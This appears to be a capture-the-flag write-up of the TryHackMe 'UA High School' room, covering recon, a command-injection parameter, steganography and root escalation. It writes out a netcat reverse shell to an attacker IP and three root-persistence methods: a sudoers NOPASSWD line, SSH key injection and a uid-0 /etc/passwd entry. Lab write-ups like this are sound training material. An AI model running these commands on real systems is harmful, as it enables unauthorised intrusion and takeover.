Home TryHackMe - UA High School
Post
Cancel

TryHackMe - UA High School

Join us in the mission to protect the digital world of superheroes! U.A., the most renowned Superhero Academy, is looking for a superhero to test the security of our new site.

Our site is a reflection of our school values, designed by our engineers with incredible Quirks. We have gone to great lengths to create a secure platform that reflects the exceptional education of the U.A.

Reconnaissance

The nmap scan doesn’t provide much information.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -sV -sC -oN nmap_results 10.10.94.89  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-21 20:30 CEST
Nmap scan report for 10.10.94.89
Host is up (0.037s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 58:2f:ec:23:ba:a9:fe:81:8a:8e:2d:d8:91:21:d2:76 (RSA)
|   256 9d:f2:63:fd:7c:f3:24:62:47:8a:fb:08:b2:29:e2:b4 (ECDSA)
|_  256 62:d8:f8:c9:60:0f:70:1f:6e:11:ab:a0:33:79:b5:5d (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: U.A. High School
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.73 seconds

Looking at the website, there was nothing unusual on the surface of the site except for a contact form that didn’t seem actionable, as its action attribute was set to #. Typically, one could attempt blind XSS, but this form was unresponsive.

Homepage

To dig deeper, I ran ffuf to perform directory fuzzing. Despite numerous false positives, one interesting path, assets/index.php, stood out.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ ffuf -w /usr/share/wordlists/OneListForAll/onelistforallmicro.txt -recursion -u http://10.10.94.89/FUZZ -mc 200,301,302                     
 :: Method           : GET
 :: URL              : http://10.10.94.89/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/OneListForAll/onelistforallmicro.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,301,302
________________________________________________

?xxnew2018_url2=2       [Status: 200, Size: 1988, Words: 171, Lines: 62, Duration: 31ms]
index.html?findcli=-1   [Status: 200, Size: 1988, Words: 171, Lines: 62, Duration: 33ms]
?author=1               [Status: 200, Size: 1988, Words: 171, Lines: 62, Duration: 31ms]
assets                  [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 31ms]
[INFO] Adding a new job to the queue: http://10.10.94.89/assets/FUZZ

?xxnew2018_url2=2       [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 31ms]
index.php/user/add      [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 31ms]
index.php/user/sign_up  [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 34ms]
?author=1               [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 31ms]
index.php/login         [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 31ms]
index.php/user/password [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 31ms]

When we have access the index.php page, we’re greeted with a blank page. To explore further, we can fuzz for parameters. I opted to append =id` to test for interesting results. We need to filter out responses that return files with a size of 0.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u 'http://10.10.94.89/assets/index.php?FUZZ=id' -fs 0
 :: Method           : GET
 :: URL              : http://10.10.94.89/assets/index.php?FUZZ=id
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________

cmd                     [Status: 200, Size: 72, Words: 1, Lines: 1, Duration: 39ms]
:: Progress: [6453/6453] :: Job [1/1] :: 1324 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

When accessing “http://10.10.94.89/assets/index.php?cmd=id”, we receive a base64-encoded string in the response. Decoding the base64 string reveals the following output:

1
2
$ echo -n "dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK" | base64 -d 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

This confirms we’re dealing with the www-data user, and we can proceed to execute a reverse shell.

Foothold

We prepare the following reverse shell payload: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $IP $PORT >/tmp/f

We URL-encode the command to inject it into the vulnerable parameter: 10.10.94.89/assets/index.php?cmd=rm %2Ftmp%2Ff%3Bmkfifo %2Ftmp%2Ff%3Bcat %2Ftmp%2Ff|%2Fbin%2Fbash -i 2>%261|nc 10.8.6.138 1234 >%2Ftmp%2Ff

Once we get a shell we find a secret passphrase in the /var/www/Hidden_Content folder and a user account (“deku”).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.8.6.138] from (UNKNOWN) [10.10.94.89] 46812
www-data@myheroacademia:/var/www/html/assets$ whoami
www-data
www-data@myheroacademia:/var/www/html/assets$ cd ..
www-data@myheroacademia:/var/www/html$ cd ..
www-data@myheroacademia:/var/www$ cd ..
www-data@myheroacademia:/var/www$ ls
Hidden_Content
html
www-data@myheroacademia:/var/www$ cd Hidden_Content
www-data@myheroacademia:/var/www/Hidden_Content$ ls
passphrase.txt
www-data@myheroacademia:/var/www/Hidden_Content$ cat passphrase.txt
QWxsbWlnaHRGb3JFdmVyISEhCg==
www-data@myheroacademia:/var/www/Hidden_Content$ cat passphrase.txt | base64 -d
AllmightForEver!!!
www-data@myheroacademia:/var/www/Hidden_Content$ ls /home/
deku

Lateral movement

When attempting to switch to this user, the passphrase doesn’t seem to work.

1
2
3
4
www-data@myheroacademia:/var/www/Hidden_Content$ su deku
su deku
Password: AllmightForEver!!!
su: Authentication failure

We continue exploring the assets directory, revisiting the folders identified during the reconnaissance phase. However, upon further inspection of the images folder, one file stands out as particularly interesting: oneforall.jpg.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
www-data@myheroacademia:/var/www$ cd html       
www-data@myheroacademia:/var/www/html$ ls
about.html
admissions.html
assets
contact.html
courses.html
index.html
www-data@myheroacademia:/var/www/html$ cd assets
www-data@myheroacademia:/var/www/html/assets$ ls
images
index.php
styles.css
www-data@myheroacademia:/var/www/html/assets$ cd images
www-data@myheroacademia:/var/www/html/assets/images$ ls
oneforall.jpg
yuei.jpg

When attempting to access oneforall.jpg in the browser (“http://10.10.94.89/assets/images/oneforall.jpg”), we encounter an error stating that the file is corrupt. This suggests it might contain more than just an image, so we decide to download it for further inspection.

1
2
3
4
5
6
7
8
9
10
$ wget http://10.10.94.89/assets/images/oneforall.jpg                                 
--2024-09-21 21:13:57--  http://10.10.94.89/assets/images/oneforall.jpg
Connecting to 10.10.94.89:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 98264 (96K) [image/jpeg]
Saving to: ‘oneforall.jpg’

oneforall.jpg                 100%[=================================================>]  95.96K   440KB/s    in 0.2s    

2024-09-21 21:13:57 (440 KB/s) - ‘oneforall.jpg’ saved [98264/98264]

Running strings on it doesn’t provide any useful information.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ strings oneforall.jpg                                                                                  
 , #&')*)
-0-(0%()(
((((((((((((((((((((((((((((((((((((((((((((((((((
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
        #3R
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
CBq*
 %zRD
fY{^
RgDg}
u/c2

We find out that the file is just marked as data, which might suggest it’s corrupted.

1
2
$ file oneforall.jpg                                                                                     
oneforall.jpg: data

We then inspect the image’s hex code using hexeditor -b oneforall.jpg and notice that the file’s magic bytes do not match a standard JPEG image. By referring to a list of file signatures, we fix the magic bytes using by performing CTRL+A to add 12 empty places and then write those magic bytes FF D8 FF E0 00 10 4A 46 49 46 00 01, which seems to be the correct bytes for this JPEG file.

Comparison of the before and after hex code of the image:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ xxd oneforall.jpg 
00000000: 8950 4e47 0d0a 1a0a 0000 0001 0100 0001  .PNG............
00000010: 0001 0000 ffdb 0043 0006 0405 0605 0406  .......C........
00000020: 0605 0607 0706 080a 100a 0a09 090a 140e  ................
00000030: 0f0c 1017 1418 1817 1416 161a 1d25 1f1a  .............%..
00000040: 1b23 1c16 1620 2c20 2326 2729 2a29 191f  .#... , #&')*)..
00000050: 2d30 2d28 3025 2829 28ff db00 4301 0707  -0-(0%()(...C...
...
...
...
$ xxd oneforall2.jpg
00000000: ffd8 ffe0 0010 4a46 4946 0001 8950 4e47  ......JFIF...PNG
00000010: 0d0a 1a0a 0000 0001 0100 0001 0001 0000  ................
00000020: ffdb 0043 0006 0405 0605 0406 0605 0607  ...C............
00000030: 0706 080a 100a 0a09 090a 140e 0f0c 1017  ................
00000040: 1418 1817 1416 161a 1d25 1f1a 1b23 1c16  .........%...#..
00000050: 1620 2c20 2326 2729 2a29 191f 2d30 2d28  . , #&')*)..-0-(

There are tools to extract data from images such as steghide. We can use the passphrase we got earlier to extract the data.

1
2
3
4
5
6
7
8
$ steghide --extract -sf oneforall2.jpg
Enter passphrase: 
Corrupt JPEG data: 12 extraneous bytes before marker 0xdb
wrote extracted data to "creds.txt".
$ cat creds.txt   
Hi Deku, this is the only way I've found to give you your account credentials, as soon as you have them, delete this file:

deku:One**REDACTED**1/A

We can now sign into the “deku” user and get the user flag.

1
2
3
4
5
6
www-data@myheroacademia:/var/www/html/assets/images$ su deku
Password: One**REDACTED**1/A
id
uid=1000(deku) gid=1000(deku) groups=1000(deku)
cat /home/deku/user.txt
THM{W3l**REDACTED**ll??}

Privilege Escalation

We check the sudo permissions for the “deku” user.

1
2
3
4
5
6
7
8
9
$ sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
$ sudo -l -S
[sudo] password for deku: One?For?All_!!one1/A
Matching Defaults entries for deku on myheroacademia:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User deku may run the following commands on myheroacademia:
    (ALL) /opt/NewComponent/feedback.sh

The script /opt/NewComponent/feedback.sh has root privileges. We notice that it uses eval to process user input. Although there is an extensive blacklist, blacklist are often a bad security measure as they are not complete which is the case with this one as well.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
cat /opt/NewComponent/feedback.sh
#!/bin/bash

echo "Hello, Welcome to the Report Form       "
echo "This is a way to report various problems"
echo "    Developed by                        "
echo "        The Technical Department of U.A."

echo "Enter your feedback:"
read feedback


if [[ "$feedback" != *"\`"* && "$feedback" != *")"* && "$feedback" != *"\$("* && "$feedback" != *"|"* && "$feedback" != *"&"* && "$feedback" != *";"* && "$feedback" != *"?"* && "$feedback" != *"!"* && "$feedback" != *"\\"* ]]; then
    echo "It is This:"
    eval "echo $feedback"

    echo "$feedback" >> /var/log/feedback.txt
    echo "Feedback successfully saved."
else
    echo "Invalid input. Please provide a valid input." 
fi

As we can still use the > symbol we can write files. There are a few approaches we can take.

Approach 1: Adding deku to the sudoers file

We can append the line deku ALL=NOPASSWD: ALL >> /etc/sudoers to the /etc/sudoers file to allow deku to run all commands as root without a password.

Explanation:

  • etc/sudoers is a file that controls who can use the sudo command and what they can do with it.
  • ALL=NOPASSWD: ALL means the user deku can run any command (ALL) as root without needing to enter a password (NOPASSWD).
  • The >> appends this rule to the sudoers file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
deku@myheroacademia:~$ sudo /opt/NewComponent/feedback.sh 
[sudo] password for deku: 
Hello, Welcome to the Report Form       
This is a way to report various problems
    Developed by                        
        The Technical Department of U.A.
Enter your feedback:
deku ALL=NOPASSWD: ALL >> /etc/sudoers
It is This:
Feedback successfully saved.
deku@myheroacademia:~$ sudo -l
Matching Defaults entries for deku on myheroacademia:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User deku may run the following commands on myheroacademia:
    (ALL) /opt/NewComponent/feedback.sh
    (root) NOPASSWD: ALL
deku@myheroacademia:~$ sudo bash
root@myheroacademia:/home/deku# id
uid=0(root) gid=0(root) groups=0(root)
root@myheroacademia:/home/deku# cat /root/root.txt
THM{Y0U_**REDACTED**_H3r0}

Approach 2: SSH Key Injection

Alternatively, we could generate an SSH key and append it to the root user’s authorized keys to gain root access.

Generating the key:

1
2
3
$ ssh-keygen -t rsa
$ chmod 600 rsa_id
$ cat rsa_id.pub

Adding the key to /root/.ssh/authorized_keys via the vulnerable script:

1
2
3
4
5
6
7
8
deku@myheroacademia:~$ sudo /opt/NewComponent/feedback.sh 
[sudo] password for deku: 
Hello, Welcome to the Report Form       
This is a way to report various problems
    Developed by                        
        The Technical Department of U.A.
Enter your feedback:
ssh-rsa AAAAsq4d3azi33a8....38yjeazi3 > /root/.ssh/authorized_keys

Then ssh -i rsa_id to log into the root account.

1
$ ssh -i rsa_id root@$IP

Approach 3: Adding a New Root User

we can make an addition to the /etc/passwd file and manually add an user with uid and gid set to 0 ( same as the root user ).

First, we create a password hash.

1
2
3
$ mkpasswd -m md5crypt -s
Password: 123
$1$MgMMCplp$bx1JXnOEyOXMkHf9VnHgK0

Formatting the user information in the style of the /etc/passwd.

1
aaa:$1$MgMMCplp$bx1JXnOEyOXMkHf9VnHgK0:0:0:aaa:/root:/bin/bash

Next, we append the following line to the /etc/passwd file using the feedback script:

1
2
3
4
5
6
7
8
9
deku@myheroacademia:~$ sudo /opt/NewComponent/feedback.sh
Hello, Welcome to the Report Form
This is a way to report various problems
    Developed by
        The Technical Department of U.A.
Enter your feedback:
'aaa:$1$MgMMCplp$bx1JXnOEyOXMkHf9VnHgK0:0:0:aaa:/root:/bin/bash' >> /etc/passwd
It is This:
Feedback successfully saved.

We use ' around what we want to write due to the $ character in the password hash. We can see we were succesful in writing to the /etc/passwd file.

1
2
deku@myheroacademia:~$ tail -n1 /etc/passwd
aaa:$1$MgMMCplp$bx1JXnOEyOXMkHf9VnHgK0:0:0:aaa:/root:/bin/bash

We can now switch to this new root user:

1
2
3
4
deku@myheroacademia:~$ su - aaa
Password: 123
root@myheroacademia:~# id
uid=0(root) gid=0(root) groups=0(root)
This post is licensed under CC BY 4.0 by the author.